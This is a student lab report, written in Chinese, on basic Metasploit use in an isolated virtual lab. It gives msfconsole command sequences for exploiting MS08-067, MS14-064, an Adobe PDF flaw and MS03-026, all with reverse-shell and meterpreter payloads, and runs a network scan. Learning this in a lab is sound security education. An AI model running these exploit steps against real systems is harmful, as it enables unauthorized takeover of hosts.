2019-2020-2 20175225张元瑞《网络对抗技术》Exp6 MSF基础应用
目录
一、实验目标
二、预备知识
- (1)MS08-067
- (2)MS14-064
- (3)Adobe
- (4)MS03_026
- (5)MSF模块使用详解
三、实验内容
- 任务一:一个主动攻击实践MS08-067
- 任务二:一个针对浏览器的攻击MS14-064
- 任务三:一个针对客户端的攻击Adobe
- 任务四:成功应用任何一个辅助模块MS03_026(唯一)
四、实验中遇到的问题
五、基础问题回答
-
(1)用自己的话解释什么是exploit,payload,encode。
-
(2)离实战还缺些什么技术或步骤?
六、实验心得体会
一、实验目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、预备知识
(1)MS08-067
漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
攻击原理
MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
源码分析
MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize
函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
(2)MS14-064
漏洞描述
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
漏洞原理
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...
(3)Adobe
漏洞原理
通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
(4)MS03_026
漏洞描述
此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。
漏洞原理
微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
(5)MSF模块使用详解
msfconsole
进入控制台- 确定你要找的漏洞,然后输入
search 漏洞名
查找相应模块
info
查看靶机适用范围
show payloads
查看相关载荷set payload generic/shell_reverse_tcp
选择载荷show options
查看相关参数
- 进行参数
set RHOST 192.168.204.129//靶机IP
set LPORT 5225
set LHOST 192.168.204.128//攻击机IP
set target 0
- 利用辅助模块查看端口是否开启(默认端口为445)
msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 192.168.204.129 //设置靶机地址
exploit //攻击
exploit
侦听
无会话已创建
猜测是使用的漏洞对XP这个版本不起作用。应该是Win7版本已经有了补丁。后面换了WIN 2000成功,详情见任务一。
三、实验内容
在实验开始之前,首先要保证两台虚拟机之间可以互相ping通
- kali ping 2000:
- 2000 ping kali:
任务一:一个主动攻击实践MS08-067(成功,不唯一)
攻击机:kali 192.168.204.128
靶机:Windows XP 英文版 192.168.204.134
- 攻击机使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.204.133
探测靶机是否存在该漏洞
-
启动msf控制台
msfconsole
-
search ms08-067
查看漏洞的渗透模块
-
use exploit/windows/smb/ms08_067_netapi
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
show options
可以查看到进行攻击需要设置的参数,Required
的列表下标记为yes
的为必须设置的项
- 设置攻击机IP和靶机IP
>set LHOST 192.168.204.128 //攻击机IP
>set RHOST 192.168.204.134//靶机IP
exploit
进行攻击
- 验证连接结果,例如
ipconfig /all
命令
任务二:一个针对浏览器的攻击MS14-064
靶机:Microsoft Windows XP(192.168.204.133)
攻击机:kali(192.168.186.128)
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.204.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.204.128
set LPORT 5225
set target 0 //设置winXP靶机
exploit
- 将生成的URL地址在winXP的IE浏览器中打开,发现成功建立了一个会话
- 此时可以用ctrl+c退出当前状态,通过输入
sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址
任务三:一个针对客户端的攻击Adobe
靶机:Microsoft Windows XP(192.168.204.133)
攻击机:kali(192.168.204.128)
msfconsole
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.204.128 //攻击机 IP
set LPORT 5225
set FILENAME 20175225zyr.pdf //设置生成的pdf文件名
exploit //发起攻击
-
生成20175225zyr.pdf,进入保存目录
cd /home/20175225zyr/.msf4/local
,输入cp zyr5225.pdf /home/20175225zyr/桌面
将生成的zyr5225.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。 -
控制台中输入
back
退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.204.128 //攻击机 IP
set LPORT 5225
exploit
- 靶机中打开
20175225zyr.pdf
文件
- 靶机上钩,攻击成功,kali中发现回连成功,输入
ipconfig
确认是否回连正确
任务四:成功应用任何一个辅助模块MS03_026(唯一)
靶机:Microsoft Windows 2000/XP(192.168.204.134/133)
攻击机:kali(192.168.204.128)
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块
show target //查看适用范围
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.204.128 //攻击机 IP
set LPORT 5225
set RHOST 192.168.204.134/133 //2000/XP
set RPORT 5225
run
windows XP
windows 2000
discovery/arp_sweep模块
通过此模块可扫描局域网的一个网段内有多少主机存活。
-
使用discovery/arp_sweep模块
use auxiliary/scanner/discovery/arp_sweep
-
查看选项
show options
-
目标网段
set RHOSTS 192.168.204.0/24
-
线程
set THREADS 50
-
开始
exploit
,扫描结果如下:
四、实验中遇到的问题
-
实验中遇到的问题很多都是无法攻击成功,也不知道什么原因,只有不断的更换靶机以及各种渗透的方式,一个一个试才能解决。
-
在做任务四时,exploit出现错误
- 根据图中所描述的内容可以确定是权限不够,因此切换成root模式再进行上述操作就能得到结果。
五、基础问题回答及思考
(1)用自己的话解释什么是exploit,payload,encode。
-
exploit是渗透攻击,说白了就是:攻击者利用系统、应用或服务中的安全漏洞去进行攻击。
-
payload直译过来叫载荷,是目标系统在被渗透攻击之后去执行的代码。例如,之前做过的几个实验都利用反弹式shell来在攻击主机与受害主机之间创建连接。
-
encode是对payload中的代码进行变形,以达到免杀目的的编码。
(2)离实战还缺些什么技术或步骤?
-
我们应该对Windows的漏洞进行了解,只有了解了漏洞我们才能对症下药,根据特定的漏洞来进行特定的攻击。
-
要对各种指令熟悉,要知道在什么情况下用什么指令,而且反应要快。
-
多进行实践,对攻击的了解也就限于实验中,我们在私下也可以自己练习,毕竟熟能生巧。
六、实验心得体会
本次实验有之前实验的知识做基础,所以过程理解不难,但是操作很让人头大,因为靶机的选取非常关键,在每个任务都不停的更换靶机,有的步骤所有的靶机都不能用,最后还是用了同学给的虚拟机才解决了问题。
实验中不停地更换靶机也让我知道我们现在掌握的攻击技术还非常的局限,只能针对很少的一部分群体,离真正的实践还有很长一段路要走。